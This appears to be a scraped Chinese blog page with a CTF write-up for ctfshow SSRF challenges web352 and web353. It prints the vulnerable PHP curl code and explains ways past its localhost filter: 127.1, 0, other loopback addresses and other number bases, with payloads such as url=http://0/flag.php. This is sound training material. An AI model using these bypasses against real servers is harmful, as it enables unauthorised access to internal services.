当前位置:网站首页>ctfshow-web352,353(SSRF)
ctfshow-web352,353(SSRF)
2022-07-01 06:48:00 【m0_62094846】
web-352
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> 

一定要出现http或者https
不能出现localhost和127.0.0.1
但是
(1)127.1可以被解析成127.0.0.1
url=http://127.1/flag.php
(2)在Linux中,0也会被解析成127.0.0.1

(3)127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost

(4)ip地址还可以通过表示成其他进制的形式访问
(这题只有十进制有用)


web-353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> url=http://0/flag.php(上题中的方法都可以)

边栏推荐
- 常用快捷键
- Common shortcut keys
- 嵌入式系统
- Esp32 esp-idf GPIO key interrupt response
- Code practice - build your own diffusion models / score based generic models from scratch
- TDB中多个model情况下使用fuseki查询
- Postgraduate entrance examination directory link
- Grain Mall - environment (p1-p27)
- SQL learning notes 2
- Solve the problem of "unexpected status code 503 service unavailable" when kaniko pushes the image to harbor
猜你喜欢
随机推荐
Esp32 - ULP coprocessor reading Hall sensor in low power mode
三说 拷贝构造之禁用
[lingo] find the shortest path problem of undirected graph
Esp32 monitors the battery voltage with ULP when the battery is powered
Product learning (III) - demand list
Jena default inference query based on OWL
Resttemplate use
Rotate the animation component around the circle, take it and use it directly
Is it safe to buy funds on Alipay? Where can I buy funds
问题:OfficeException: failed to start and connect(三)
Rclone configuring Minio and basic operations
第五章 輸入/輸出(I/O)管理
How to use Alibaba vector font files through CDN
DSBridge
Common shortcut keys
Which securities company does qiniu school cooperate with? Is it safe to open an account?
MySQL learning
為什麼這麼多人轉行產品經理?產品經理發展前景如何?
[wechat applet] to solve button, input and image components
Docker 安装部署Redis

![[wechat applet low code development] second, resolve the code composition of the applet in practice](/img/ab/28ab01db84b1437220e659118b2871.png)






